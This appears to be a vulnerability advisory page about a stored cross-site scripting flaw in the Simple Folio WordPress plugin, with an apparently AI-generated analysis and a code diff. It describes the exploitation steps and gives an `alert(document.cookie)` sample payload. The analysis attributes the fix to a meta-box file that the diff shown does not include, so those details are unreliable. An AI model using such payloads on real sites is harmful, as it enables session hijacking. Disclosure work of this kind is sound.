Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14039: Simple Folio <= 1.1.1 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'Client name' and 'Link' Meta Fields (simple-folio)

Plugin simple-folio
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.1.1
Patched Version 1.1.2
Disclosed January 26, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14039:
The Simple Folio WordPress plugin, versions up to and including 1.1.1, contains an authenticated stored cross-site scripting (XSS) vulnerability. The vulnerability affects the ‘_simple_folio_item_client_name’ and ‘_simple_folio_item_link’ meta fields. Attackers with Contributor-level access or higher can inject arbitrary JavaScript, which executes when a user views a compromised portfolio item page. The CVSS score of 6.4 reflects a medium severity risk.

Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping. The vulnerability resides in the `class-simple-folio-meta-box.php` file. The `simple_folio_meta_box_callback` function (lines 38-79 in the patched version) saves user-supplied meta field values via `update_post_meta` without adequate sanitization. The `simple_folio_item_meta_box_html` function (lines 81-124) then outputs these values using `echo` without proper escaping functions like `esc_attr` or `esc_url`. The affected parameters are the ‘client_name’ and ‘link’ fields within the portfolio item editor.

Exploitation requires an authenticated attacker with at least Contributor privileges. The attacker navigates to the ‘Add New’ portfolio item page (`/wp-admin/post-new.php?post_type=simple_folio_item`). They inject a malicious JavaScript payload into either the ‘Client name’ or ‘Link’ field. For example, a payload like `alert(document.cookie)` could be placed in the ‘Client name’ field. The attacker saves the post. When any user, including administrators, views the published portfolio item page, the injected script executes in their browser context.

The patch adds proper output escaping to the vulnerable meta field display functions. In `class-simple-folio-meta-box.php`, lines 106 and 119, the patch replaces direct `echo` statements with `esc_html_e` for the client name and `esc_url` for the link. The `esc_html_e` function escapes HTML special characters and translates the string, while `esc_url` validates and sanitizes URLs. These changes ensure user-controlled data is treated as plain text or a validated URL during output, neutralizing any HTML or script tags.

Successful exploitation leads to stored XSS attacks. Attackers can steal session cookies, perform actions on behalf of authenticated users, deface websites, or redirect visitors to malicious sites. This vulnerability allows privilege escalation from Contributor to Administrator if an administrator’s session is hijacked. The stored nature means the payload executes for every visitor to the compromised page, creating a persistent threat.

Differential between vulnerable and patched code

Code Diff
--- a/simple-folio/admin/class-simple-folio-admin.php
+++ b/simple-folio/admin/class-simple-folio-admin.php
@@ -4,7 +4,7 @@
  *
  * Defines the plugin name, version, and two examples hooks for how to
  * enqueue the admin-specific stylesheet and JavaScript.
- *
+ *
  * @link       http://www.presstigers.com
  * @since      1.0.0
  *
@@ -13,309 +13,423 @@
  * @author     PressTigers <support@presstigers.com>
  */

-class Simple_Folio_Admin
-{
-    /**
-     * The ID of this plugin.
-     *
-     * @since    1.0.0
-     * @access   private
-     * @var      string    $plugin_name    The ID of this plugin.
-     */
-    private $plugin_name;
-
-    /**
-     * The version of this plugin.
-     *
-     * @since    1.0.0
-     * @access   private
-     * @var      string    $version    The current version of this plugin.
-     */
-    private $version;
-
-    /**
-     * Initialize the class and set its properties.
-     *
-     * @since    1.0.0
-     * @param      string    $plugin_name       The name of this plugin.
-     * @param      string    $version    The version of this plugin.
-     */
-    public function __construct( $plugin_name, $version )
-    {
-        $this->plugin_name = $plugin_name;
-        $this->version = $version;
-
-        // Action - Add Settings Menu
-        add_action( 'admin_menu', array($this, 'admin_menu'), 12 );
-
-        // Action - Save Settings
-        add_action( 'admin_notices', array($this, 'simple_folio_item_settings_save' ) );
-
-        /**
-         * The class is responsible for defining all the post meta options under 'simple_folio_item' post type
-         */
-        require_once plugin_dir_path(dirname(__FILE__)) . 'includes/class-simple-folio-meta-box.php';
-    }
-
-    /**
-     * Register the stylesheets for the admin area.
-     *
-     * @since    1.0.0
-     */
-    public function enqueue_styles()
-    {
-        wp_enqueue_style( $this->plugin_name, plugin_dir_url( __FILE__ ) . 'css/simple-folio-admin.css', array(), $this->version, 'all' );
-        wp_enqueue_style( 'fontawesome', 'https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css', $this->version, 'all' );
-    }
-
-    /**
-     * Register the JavaScript for the admin area.
-     *
-     * @since    1.0.0
-     */
-    public function enqueue_scripts()
-    {
-        wp_enqueue_script( $this->plugin_name, plugin_dir_url( __FILE__ ) . 'js/simple-folio-admin.js', array( 'jquery' ), $this->version, true );
-    }
-
-    /**
-     * Add Settings Page Under Simple Folio.
-     *
-     * @since   2.0.0
-     */
-    public function admin_menu()
-    {
-        add_submenu_page('edit.php?post_type=simple_folio_item', __('Settings', 'simple-folio'), __('Settings', 'simple-folio'), 'manage_options', 'simple-folio-settings', array($this, 'settings_output'));
-    }
-
-    /**
-     * Render the DOM for Settings Page
-     */
-    public function settings_output() {
-        ?>
-        <div class="wrap">
-            <h1><?php _e('Simple Folio Settings', 'simple-folio'); ?></h1>
-            <div class="clear"></div>
-
-            <!-- Settings Tabs -->
-            <h2 class="nav-tab-wrapper">
-                <a href="#settings-shortcode_generator" class="nav-tab nav-tab-active"><?php echo __('Shortcode Generator', 'simple-folio'); ?></a>
-                <a href="#settings-appearance" class="nav-tab "><?php echo __('Appearance', 'simple-folio'); ?></a>
-                <a href="#settings-slug-rewrite" class="nav-tab "><?php echo __('Slug Rewrite', 'simple-folio'); ?></a>
-            </h2>
-
-            <!-- Shortcode Generator Section -->
-            <div id="settings-shortcode_generator" class="sfo-admin-settings" style="display: block;">
-                <p><em>On this page you can manage portfolios for your website.</em></p>
-                <br />
-                <div class="sfo-section">
-                    <div class="simple-folio-settings-left-sec">
-                    <h3>Add Portfolio</h3>
-                    <p>Enter the portfolio name in below field and click <strong>"Add New"</strong> button.</p>
-                    <form id="add_portfolio" method="post" action="">
-                        <input type="hidden" name="simple_folio_action" value="add_simple_folio">
-            <?php wp_nonce_field('simple_folio_add_portfolio', '_wpnonce'); ?>
-                        <input type="text" name="portfolio_name" value="" maxlength="18" placeholder="Portfolio Name" autofocus autocomplete="off">
-                        <input type="submit" name="submit" class="button-primary" value="Add New">
-                    </form><br /><br />
-                    </div>
-                    <div class="simple-folio-settings-right-sec">
-                    <h3>Portfolio List</h3>
-            <?php if (simple_folio_list_options()) : ?>
-                            <ul class="simple-folio-ps-header simple-folio-ps-grid">
-                                <li class="simple-folio-ps-open"> </li>
-                                <li class="simple-folio-ps-name"><?php _e('Portfolio Name', 'simple-folio'); ?></li>
-                                <li class="simple-folio-ps-shortcode"><?php _e('Shortcode', 'simple-folio'); ?></li>
-                                <li class="simple-folio-ps-group"><?php _e('Groups', 'simple-folio'); ?></li>
-                                <li class="simple-folio-ps-actions"><?php _e('Actions', 'simple-folio'); ?></li>
-                            </ul>
-                <?php
-            else :
-                echo "<p>" . __('List empty.', 'simple-folio') . "</p>";
-            endif;
-
-            // loop portfolio settings in DB
-            foreach (array_reverse(simple_folio_list_options()) as $portfolio_id) :
-                // get settings
-                $ps = simple_folio_get_option($portfolio_id);
-
-                // settings section class
-                $section_class = 'simple-folio-ps-section';
-
-                // check if 'simple_folio_open_settings' cookie is set
-                if (isset($_COOKIE['simple_folio_open_settings'])) {
-                    if (simple_folio_sanitize_name($_COOKIE['simple_folio_open_settings']) == $ps['_id']) {
-                        $section_class .= ' simple-folio-ps-opened';
-                    }
-                }
-                ?>
-                <div id="<?php echo esc_attr($ps['_id']); ?>" class="<?php echo esc_attr($section_class); ?>">
-                    <ul class="simple-folio-ps-main simple-folio-ps-grid">
-                        <li class="simple-folio-ps-open">
-                            <a href="#" title="<?php _e('Click to open settings', 'simple-folio'); ?>"><span></span></a>
-                        </li>
-                        <li class="simple-folio-ps-name"><a href="#"><?php echo esc_html($ps['name']); ?></a></li>
-                        <li class="simple-folio-ps-shortcode">
-                            <span class="simple-folio-shortcode-text">[simple_folio id=<?php echo esc_html('"' . $ps['id'] . '"'); ?>]</span>
-                            <span class="simple-folio-help-icon" title="<?php _e('Copy and insert this shortcode into the page or post where you want portfolio to appear. To select shortcode simply click on it!', 'simple-folio'); ?>"></span>
-                        </li>
-                        <li class="simple-folio-ps-group"><?php echo simple_folio_list_groups($ps['groups'], true); ?></li>
-                        <li class="simple-folio-ps-actions">
-                            <form class="simple-folio-ps-remove" method="post" action="">
-                                <input type="hidden" name="simple_folio_action" value="remove_portfolio">
-                                <input type="hidden" name="id" value="<?php echo esc_attr($portfolio_id); ?>">
-        <?php wp_nonce_field('simple_folio_remove_portfolio', '_wpnonce'); ?>
-                                <input type="submit" name="submit" class="button-primary" value="<?php _e('Remove', 'simple-folio'); ?>" title="<?php _e('Click to remove portfolio', 'simple-folio'); ?>">
-                                <label>
-                                    <input type="checkbox" name="confirm" value="1">
-                                    <em><?php _e('Check to remove!', 'simple-folio'); ?></em>
-                                </label>
-                            </form>
-                        </li>
-                    </ul><!-- #simple-folio-ps-main -->
-                    <div class="simple-folio-ps-content">
-                        <hgroup>
-                            <h3><?php echo esc_html($ps['name']); ?></h3>
-                            <h4><?php _e('Portfolio Settings', 'simple-folio'); ?></h4>
-                        </hgroup>
-                        <form method="post" action="options.php">
-        <?php settings_fields('simple_folio_settings_group_' . $portfolio_id); ?>
-        <?php
-        // portfolio entry in wp_options will never change, so to keep track of it
-        // and use it in register_settings's sanitize function, we add it as
-        // hidden "_id" input to the form (see includes/settings.php)
-
-        $option = SIMPLE_FOLIO_OPTION_PREFIX . $portfolio_id;
-        // Security: Escape option name and portfolio ID when outputting to prevent XSS
-        echo '<input type="hidden" name="' . esc_attr($option) . '[_id]" value="' . esc_attr($portfolio_id) . '">';
-
-        // also, because we display settings for all portfolios on the same page
-        // we must use do_settings_fields() instead of settings_sections() as
-        // we have settings sections separately for every portfolio
-        // (see includes/settings.php) and they must be saved under their own
-        // entries in wp_options. I know, it's tricky but it works :)
-        ?>
-                            <!-- general tab -->
-                            <div class="simple-folio-ps-tab">
-                                <h3 class="title"><?php _e('General', 'simple-folio'); ?></h3>
-                                <p class="description"><?php _e('This tab has to do with portfolio grid and items settings.', 'simple-folio'); ?></p>
-                                <table class="form-table">
-                                    <tbody>
-        <?php do_settings_fields('simple_folio_settings', 'simple_folio_section_general_' . $portfolio_id); ?>
-                                    </tbody>
-                                </table>
-                            </div>
-                            <div class="clear"></div>
-                            <p class="simple-folio-ps-footer">
-        <?php submit_button(__('Save Changes', 'simple-folio'), 'primary', 'submit', false); ?>
-                                <a href="#" class="simple-folio-ps-cancel button-secondary"><?php _e('Cancel', 'simple-folio'); ?></a>
-                            </p>
-                        </form><!-- #options.php -->
-                    </div><!-- #simple-folio-ps-content -->
-                </div><!-- #simple-folio-ps-section -->
-                <?php
-            endforeach; // end loop
-                ?>
-                    <div class="clear"></div>
-                    </div>
-                </div>
-            </div>
-
-            <!-- Appearance Section -->
-            <div id="settings-appearance"  class="sfo-admin-settings" style="display: none;">
-                <p><em><?php echo __('Content Wrapper Styling', 'simple-folio'); ?></em></p>
-                <br />
-                <form method="post" id="appearance-form">
-                    <?php
-
-                    // Save Content Wrapper Styling
-                    if (!empty( $_POST['container'] ) ) {
-                        update_option('sfo_container', array_map( 'esc_attr',  $_POST['container'] ) );
-                    }
-
-                    // Get Container Options
-                    if (get_option('sfo_container')) {
-                        $container = get_option('sfo_container');
-
-                        // Get Container Id
-                        $container_ids = explode(" ", $container['id']);
-                        $container_id = $container_ids[0];
-
-                        // Get Container Class
-                        $container_class = $container['class'];
-                    } else {
-
-                        // Default Parameters
-                        $container_id = 'container';
-                        $container_class ='container';
-                    }
-                    ?>
-                    <div class="sfo-section">
-                        <div class="sfo-content">
-                            <div class="sfo-form-group">
-                                <label><?php _e('Container Id:', 'simple-folio'); ?></label>
-                                <input type="text" name="container[id]" value="<?php echo esc_attr($container_id); ?>" size="30" />
-                            </div>
-                            <div class="sfo-form-group">
-                                <label><?php _e('Container Class:', 'simple-folio'); ?></label>
-                                <input type="text" name="container[class]" value="<?php echo esc_attr($container_class); ?>" size="30" >
-                            </div>
-                            <p><?php _e('Add classes seprated by space or comma e.g. container sfo-container or container, sfo-container', 'simple-folio'); ?></p>
-                        </div>
-                    </div>
-                    <input type="hidden" value="1" name="admin_notices" />
-                    <input type="submit" name="appearance_options" id="appearance-options" class="button button-primary" value="<?php echo __('Save Changes', 'simple-folio'); ?>" />
-                </form>
-            </div>
-
-            <!-- Appearance Section -->
-            <div id="settings-slug-rewrite"  class="sfo-admin-settings" style="display: none;">
-
-                <br />
-                <form method="post" id="settings-slug-rewrite">
-                    <?php
-
-                    // Save Content Wrapper Styling
-
-                    if (isset($_POST['simple_folio_slug'])){
-                        (!empty( $_POST['simple_folio_slug'] )) ? update_option('sfo_slug', sanitize_text_field( $_POST['simple_folio_slug'] ) ) : update_option('sfo_slug', '');
-                    }
-
-                    // Get Container Options
-                    get_option('sfo_slug')? $sfo_slug = get_option('sfo_slug'): $sfo_slug = 'simple-folio';
-
-                    ?>
-                    <div class="sfo-section">
-                        <div class="sfo-content">
-                            <div class="sfo-form-group">
-                                <label><?php _e('Simple Folio Custom Post Type Slug:', 'simple-folio'); ?></label>
-                                <input type="text" name="simple_folio_slug" value="<?php echo esc_attr($sfo_slug); ?>" size="30" />
-                            </div>
-                        </div>
-                    </div>
-                    <input type="hidden" value="1" name="admin_notices" />
-                    <input type="submit" name="appearance_options" id="appearance-options" class="button button-primary" value="<?php echo __('Save Changes', 'simple-folio'); ?>" />
-                </form>
-            </div>
-        </div>
-        <?php
-    }
-
-    /**
-     * Save Settings.
-     *
-     * @since   2.2.3
-     */
-    public function simple_folio_item_settings_save()
-    {
-        // Admin Notices
-        if ( isset( $_POST['admin_notices'] ) &&  1 === $_POST['admin_notices'] ) {
-            ?>
-            <div class="updated">
-                <p><?php echo __('Settings have been saved.', 'simple-folio'); ?></p>
-            </div>
-
-            <?php
-        }
-    }
-}
 No newline at end of file
+class Simple_Folio_Admin {
+
+	/**
+	 * The ID of this plugin.
+	 *
+	 * @since    1.0.0
+	 * @access   private
+	 * @var      string    $plugin_name    The ID of this plugin.
+	 */
+	private $plugin_name;
+
+	/**
+	 * The version of this plugin.
+	 *
+	 * @since    1.0.0
+	 * @access   private
+	 * @var      string    $version    The current version of this plugin.
+	 */
+	private $version;
+
+	/**
+	 * Initialize the class and set its properties.
+	 *
+	 * @since    1.0.0
+	 * @param      string $plugin_name       The name of this plugin.
+	 * @param      string $version    The version of this plugin.
+	 */
+	public function __construct( $plugin_name, $version ) {
+		$this->plugin_name = $plugin_name;
+		$this->version     = $version;
+
+		// Action - Add Settings Menu.
+		add_action( 'admin_menu', array( $this, 'admin_menu' ), 12 );
+
+		// Action - Save Settings.
+		add_action( 'admin_notices', array( $this, 'simple_folio_item_settings_save' ) );
+
+		// Save Slug Setting.
+		add_action( 'admin_init', array( $this, 'sfo_save_slug_setting' ) );
+
+		// Save Container Settings.
+		add_action( 'admin_init', array( $this, 'sfo_save_container_settings' ) );
+
+		/**
+		 * The class is responsible for defining all the post meta options under 'simple_folio_item' post type
+		 */
+		require_once plugin_dir_path( __DIR__ ) . 'includes/class-simple-folio-meta-box.php';
+	}
+
+	/**
+	 * Register the stylesheets for the admin area.
+	 *
+	 * @since    1.0.0
+	 */
+	public function enqueue_styles() {
+		wp_enqueue_style( $this->plugin_name, plugin_dir_url( __FILE__ ) . 'css/simple-folio-admin.css', array(), $this->version, 'all' );
+		wp_enqueue_style( 'fontawesome', 'https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css', $this->version, 'all' );
+	}
+
+	/**
+	 * Register the JavaScript for the admin area.
+	 *
+	 * @since    1.0.0
+	 */
+	public function enqueue_scripts() {
+		wp_enqueue_script( $this->plugin_name, plugin_dir_url( __FILE__ ) . 'js/simple-folio-admin.js', array( 'jquery' ), $this->version, true );
+	}
+
+	/**
+	 * Add Settings Page Under Simple Folio.
+	 *
+	 * @since   2.0.0
+	 */
+	public function admin_menu() {
+		add_submenu_page( 'edit.php?post_type=simple_folio_item', __( 'Settings', 'simple-folio' ), __( 'Settings', 'simple-folio' ), 'manage_options', 'simple-folio-settings', array( $this, 'settings_output' ) );
+	}
+
+	/**
+	 * Render the DOM for Settings Page
+	 */
+	public function settings_output() {
+		?>
+		<div class="wrap">
+			<h1><?php esc_html_e( 'Simple Folio Settings', 'simple-folio' ); ?></h1>
+			<div class="clear"></div>
+
+			<!-- Settings Tabs -->
+			<h2 class="nav-tab-wrapper">
+				<a href="#settings-shortcode_generator" class="nav-tab nav-tab-active"><?php esc_html_e( 'Shortcode Generator', 'simple-folio' ); ?></a>
+				<a href="#settings-appearance" class="nav-tab "><?php esc_html_e( 'Appearance', 'simple-folio' ); ?></a>
+				<a href="#settings-slug-rewrite" class="nav-tab "><?php esc_html_e( 'Slug Rewrite', 'simple-folio' ); ?></a>
+			</h2>
+
+			<!-- Shortcode Generator Section -->
+			<div id="settings-shortcode_generator" class="sfo-admin-settings" style="display: block;">
+				<p><em><?php esc_html_e( 'On this page you can manage portfolios for your website.', 'simple-folio' ); ?></em></p>
+				<br />
+				<div class="sfo-section">
+					<div class="simple-folio-settings-left-sec">
+						<h3><?php esc_html_e( 'Add Portfolio', 'simple-folio' ); ?></h3>
+						<p>
+							<?php
+							echo wp_kses(
+								__( 'Enter the portfolio name in below field and click <strong>"Add New"</strong> button.', 'simple-folio' ),
+								array(
+									'strong' => array(),
+								)
+							);
+							?>
+						</p>
+						<form id="add_portfolio" method="post" action="">
+							<input type="hidden" name="simple_folio_action" value="add_simple_folio">
+							<?php wp_nonce_field( 'simple_folio_add_portfolio', '_wpnonce' ); ?>
+							<input type="text" name="portfolio_name" value="" maxlength="18" placeholder="<?php esc_html_e( 'Portfolio Name', 'simple-folio' ); ?>" autofocus autocomplete="off">
+							<input type="submit" name="submit" class="button-primary" value="<?php esc_html_e( 'Add New', 'simple-folio' ); ?>">
+						</form><br /><br />
+					</div>
+
+					<div class="simple-folio-settings-right-sec">
+						<h3><?php esc_html_e( 'Portfolio List', 'simple-folio' ); ?></h3>
+						<?php if ( simple_folio_list_options() ) : ?>
+							<ul class="simple-folio-ps-header simple-folio-ps-grid">
+								<li class="simple-folio-ps-open"> </li>
+								<li class="simple-folio-ps-name"><?php esc_html_e( 'Portfolio Name', 'simple-folio' ); ?></li>
+								<li class="simple-folio-ps-shortcode"><?php esc_html_e( 'Shortcode', 'simple-folio' ); ?></li>
+								<li class="simple-folio-ps-group"><?php esc_html_e( 'Groups', 'simple-folio' ); ?></li>
+								<li class="simple-folio-ps-actions"><?php esc_html_e( 'Actions', 'simple-folio' ); ?></li>
+							</ul>
+							<?php
+						else :
+							echo '<p>' . esc_html_e( 'List empty.', 'simple-folio' ) . '</p>';
+						endif;
+
+						// loop portfolio settings in DB.
+						foreach ( array_reverse( simple_folio_list_options() ) as $portfolio_id ) :
+							// get settings.
+							$ps = simple_folio_get_option( $portfolio_id );
+
+							// settings section class.
+							$section_class = 'simple-folio-ps-section';
+
+							// check if 'simple_folio_open_settings' cookie is set.
+							if ( isset( $_COOKIE['simple_folio_open_settings'] ) ) {
+								if ( simple_folio_sanitize_name( wp_unslash( $_COOKIE['simple_folio_open_settings'] ) ) == $ps['_id'] ) {
+									$section_class .= ' simple-folio-ps-opened';
+								}
+							}
+							?>
+							<div id="<?php echo esc_attr( $ps['_id'] ); ?>" class="<?php echo esc_attr( $section_class ); ?>">
+								<ul class="simple-folio-ps-main simple-folio-ps-grid">
+									<li class="simple-folio-ps-open">
+										<a href="#" title="<?php esc_html_e( 'Click to open settings', 'simple-folio' ); ?>"><span></span></a>
+									</li>
+									<li class="simple-folio-ps-name"><a href="#"><?php echo esc_html( $ps['name'] ); ?></a></li>
+									<li class="simple-folio-ps-shortcode">
+										<span class="simple-folio-shortcode-text">[simple_folio id="<?php echo esc_html( $ps['id'] ); ?>"]</span>
+										<span class="simple-folio-help-icon" title="<?php esc_html_e( 'Copy and insert this shortcode into the page or post where you want portfolio to appear. To select shortcode simply click on it!', 'simple-folio' ); ?>"></span>
+									</li>
+									<li class="simple-folio-ps-group"><?php echo simple_folio_list_groups( $ps['groups'], true ); ?></li>
+									<li class="simple-folio-ps-actions">
+										<form class="simple-folio-ps-remove" method="post" action="">
+											<input type="hidden" name="simple_folio_action" value="remove_portfolio">
+											<input type="hidden" name="id" value="<?php echo esc_attr( $portfolio_id ); ?>">
+											<?php wp_nonce_field( 'simple_folio_remove_portfolio', '_wpnonce' ); ?>
+											<input type="submit" name="submit" class="button-primary" value="<?php esc_html_e( 'Remove', 'simple-folio' ); ?>" title="<?php esc_html_e( 'Click to remove portfolio', 'simple-folio' ); ?>">
+											<label>
+												<input type="checkbox" name="confirm" value="1">
+												<em><?php esc_html_e( 'Check to remove!', 'simple-folio' ); ?></em>
+											</label>
+										</form>
+									</li>
+								</ul><!-- #simple-folio-ps-main -->
+								<div class="simple-folio-ps-content">
+									<hgroup>
+										<h3><?php echo esc_html( $ps['name'] ); ?></h3>
+										<h4><?php esc_html_e( 'Portfolio Settings', 'simple-folio' ); ?></h4>
+									</hgroup>
+									<form method="post" action="options.php">
+										<?php settings_fields( 'simple_folio_settings_group_' . $portfolio_id ); ?>
+										<?php
+										// portfolio entry in wp_options will never change, so to keep track of it. and use it in register_settings's sanitize function, we add it as hidden "_id" input to the form (see includes/settings.php).
+										$option = SIMPLE_FOLIO_OPTION_PREFIX . $portfolio_id;
+										// Security: Escape option name and portfolio ID when outputting to prevent XSS.
+										echo '<input type="hidden" name="' . esc_attr( $option ) . '[_id]" value="' . esc_attr( $portfolio_id ) . '">';
+
+										// also, because we display settings for all portfolios on the same page we must use do_settings_fields() instead of settings_sections() as we have settings sections separately for every portfolio (see includes/settings.php) and they must be saved under their own entries in wp_options. I know, it's tricky but it works :)
+										?>
+										<!-- general tab -->
+										<div class="simple-folio-ps-tab">
+											<h3 class="title"><?php esc_html_e( 'General', 'simple-folio' ); ?></h3>
+											<p class="description"><?php esc_html_e( 'This tab has to do with portfolio grid and items settings.', 'simple-folio' ); ?></p>
+											<table class="form-table">
+												<tbody>
+										<?php do_settings_fields( 'simple_folio_settings', 'simple_folio_section_general_' . $portfolio_id ); ?>
+												</tbody>
+											</table>
+										</div>
+										<div class="clear"></div>
+										<p class="simple-folio-ps-footer">
+										<?php submit_button( esc_html__( 'Save Changes', 'simple-folio' ), 'primary', 'submit', false ); ?>
+											<a href="#" class="simple-folio-ps-cancel button-secondary"><?php esc_html_e( 'Cancel', 'simple-folio' ); ?></a>
+										</p>
+									</form><!-- #options.php -->
+								</div><!-- #simple-folio-ps-content -->
+							</div><!-- #simple-folio-ps-section -->
+							<?php
+						endforeach; // end loop.
+						?>
+						<div class="clear"></div>
+					</div>
+				</div>
+			</div>
+
+			<!-- Appearance Section -->
+			<div id="settings-appearance"  class="sfo-admin-settings" style="display: none;">
+				<p><em><?php echo esc_html__( 'Content Wrapper Styling', 'simple-folio' ); ?></em></p>
+				<br />
+				<form method="post" id="appearance-form">
+					<?php wp_nonce_field( 'sfo_save_container', 'sfo_container_nonce' ); ?>
+					<?php
+
+					// Get Container Options.
+					if ( get_option( 'sfo_container' ) ) {
+						$container = get_option( 'sfo_container' );
+
+						// Get Container Id.
+						$container_ids = explode( ' ', $container['id'] );
+						$container_id  = $container_ids[0];
+
+						// Get Container Class.
+						$container_class = $container['class'];
+					} else {
+
+						// Default Parameters.
+						$container_id    = 'container';
+						$container_class = 'container';
+					}
+					?>
+					<div class="sfo-section">
+						<div class="sfo-content">
+
+							<div class="sfo-form-group">
+								<label for="sfo_container_id">
+									<?php esc_html_e( 'Container ID:', 'simple-folio' ); ?>
+								</label>
+
+								<input
+									type="text"
+									id="sfo_container_id"
+									name="container[id]"
+									value="<?php echo esc_attr( $container_id ); ?>"
+									size="30"
+								/>
+							</div>
+
+							<div class="sfo-form-group">
+								<label for="sfo_container_class">
+									<?php esc_html_e( 'Container Class:', 'simple-folio' ); ?>
+								</label>
+
+								<input
+									type="text"
+									id="sfo_container_class"
+									name="container[class]"
+									value="<?php echo esc_attr( $container_class ); ?>"
+									size="30"
+								/>
+							</div>
+
+							<p class="description">
+								<?php
+								esc_html_e(
+									'Add classes separated by space or comma (e.g. container sfo-container or container, sfo-container)',
+									'simple-folio'
+								);
+								?>
+							</p>
+
+						</div>
+					</div>
+
+					<input type="hidden" value="1" name="admin_notices" />
+					<input type="submit"
+						name="appearance_options"
+						id="appearance-options"
+						class="button button-primary"
+						value="<?php esc_attr_e( 'Save Changes', 'simple-folio' ); ?>"
+					/>
+				</form>
+			</div>
+
+			<!-- Appearance Section -->
+			<div id="settings-slug-rewrite"  class="sfo-admin-settings" style="display: none;">
+
+				<br />
+				<form method="post" id="settings-slug-rewrite">
+					<?php wp_nonce_field( 'sfo_save_slug', 'sfo_slug_nonce' ); ?>
+					<div class="sfo-section">
+						<div class="sfo-content">
+							<div class="sfo-form-group">
+								<label for="simple_folio_slug">
+									<?php esc_html_e( 'Simple Folio Custom Post Type Slug:', 'simple-folio' ); ?>
+								</label>
+
+								<input
+									type="text"
+									id="simple_folio_slug"
+									name="simple_folio_slug"
+									value="<?php echo esc_attr( get_option( 'sfo_slug', 'simple-folio' ) ); ?>"
+									size="30"
+								/>
+							</div>
+						</div>
+					</div>
+					<input type="hidden" value="1" name="admin_notices" />
+					<input
+						type="submit"
+						name="appearance_options"
+						id="appearance-options"
+						class="button button-primary"
+						value="<?php esc_attr_e( 'Save Changes', 'simple-folio' ); ?>"
+					/>
+				</form>
+			</div>
+		</div>
+		<?php
+	}
+
+	/**
+	 * Save slug field.
+	 *
+	 * @return void
+	 */
+	public function sfo_save_slug_setting() {
+
+		if ( ! isset( $_POST['appearance_options'] ) ) {
+			return;
+		}
+
+		// Security checks.
+		if (
+		! isset( $_POST['sfo_slug_nonce'] ) ||
+		! wp_verify_nonce( $_POST['sfo_slug_nonce'], 'sfo_save_slug' )
+		) {
+			return;
+		}
+
+		if ( ! current_user_can( 'manage_options' ) ) {
+			return;
+		}
+
+		$slug = isset( $_POST['simple_folio_slug'] )
+		? sanitize_title( wp_unslash( $_POST['simple_folio_slug'] ) )
+		: '';
+
+		if ( get_option( 'sfo_slug' ) !== $slug ) {
+			update_option( 'sfo_slug', $slug );
+			flush_rewrite_rules(); // Required when changing CPT slug.
+		}
+	}
+
+	/**
+	 * Save container class and id settings.
+	 *
+	 * @return void
+	 */
+	public function sfo_save_container_settings() {
+
+		if ( ! isset( $_POST['appearance_options'] ) ) {
+			return;
+		}
+
+		// Nonce check.
+		if (
+		! isset( $_POST['sfo_container_nonce'] ) ||
+		! wp_verify_nonce( $_POST['sfo_container_nonce'], 'sfo_save_container' )
+		) {
+			return;
+		}
+
+		// Capability check.
+		if ( ! current_user_can( 'manage_options' ) ) {
+			return;
+		}
+
+		if ( empty( $_POST['container'] ) || ! is_array( $_POST['container'] ) ) {
+			return;
+		}
+
+		$container = wp_unslash( $_POST['container'] );
+
+		$sanitized = array(
+			'id'    => isset( $container['id'] )
+				? sanitize_key( $container['id'] )
+				: '',
+			'class' => isset( $container['class'] )
+				? sanitize_html_class( $container['class'] )
+				: '',
+		);
+
+		update_option( 'sfo_container', $sanitized );
+	}
+
+	/**
+	 * Save Settings.
+	 *
+	 * @since   2.2.3
+	 */
+	public function simple_folio_item_settings_save() {
+		// Admin Notices.
+		if ( isset( $_POST['admin_notices'] ) && 1 === wp_unslash( $_POST['admin_notices'] ) ) {
+			?>
+			<div class="updated">
+				<p><?php echo esc_html__( 'Settings have been saved.', 'simple-folio' ); ?></p>
+			</div>
+
+			<?php
+		}
+	}
+}
--- a/simple-folio/includes/class-simple-folio-activator.php
+++ b/simple-folio/includes/class-simple-folio-activator.php
@@ -1,9 +1,9 @@
 <?php
 /**
  * Fired during plugin activation.
- *
+ *
  * This class defines all code necessary to run during the plugin's activation.
- *
+ *
  * @link       http://www.presstigers.com
  * @since      1.0.0
  *
@@ -12,15 +12,15 @@
  * @author     PressTigers <support@presstigers.com>
  */

-class Simple_Folio_Activator
-{
-    /**
-     * Short Description. (use period)
-     *
-     * Long Description.
-     *
-     * @since    1.0.0
-     */
-    public static function activate() {
-    }
-}
 No newline at end of file
+class Simple_Folio_Activator {
+
+	/**
+	 * Short Description. (use period)
+	 *
+	 * Long Description.
+	 *
+	 * @since    1.0.0
+	 */
+	public static function activate() {
+	}
+}
--- a/simple-folio/includes/class-simple-folio-deactivator.php
+++ b/simple-folio/includes/class-simple-folio-deactivator.php
@@ -1,9 +1,9 @@
 <?php
 /**
  * Fired during plugin deactivation
- *
+ *
  * This class defines all code necessary to run during the plugin's deactivation.
- *
+ *
  * @link       http://www.presstigers.com
  * @since      1.0.0
  *
@@ -12,15 +12,15 @@
  * @author     PressTigers <support@presstigers.com>
  */

-class Simple_Folio_Deactivator
-{
-    /**
-     * Short Description. (use period)
-     *
-     * Long Description.
-     *
-     * @since    1.0.0
-     */
-    public static function deactivate() {
-    }
-}
 No newline at end of file
+class Simple_Folio_Deactivator {
+
+	/**
+	 * Short Description. (use period)
+	 *
+	 * Long Description.
+	 *
+	 * @since    1.0.0
+	 */
+	public static function deactivate() {
+	}
+}
--- a/simple-folio/includes/class-simple-folio-i18n.php
+++ b/simple-folio/includes/class-simple-folio-i18n.php
@@ -1,10 +1,10 @@
 <?php
 /**
  * Define the internationalization functionality
- *
+ *
  * Loads and defines the internationalization files for this plugin
  * so that it is ready for translation.
- *
+ *
  * @link       http://www.presstigers.com
  * @since      1.0.0
  *
@@ -13,19 +13,18 @@
  * @author     PressTigers <support@presstigers.com>
  */

-class Simple_Folio_i18n
-{
-    /**
-     * Load the plugin text domain for translation.
-     *
-     * @since    1.0.0
-     */
-    public function load_plugin_textdomain()
-    {
-        load_plugin_textdomain(
-            'simple-folio',
-            false,
-            dirname( dirname( plugin_basename( __FILE__ ) ) ) . '/languages/'
-        );
-    }
-}
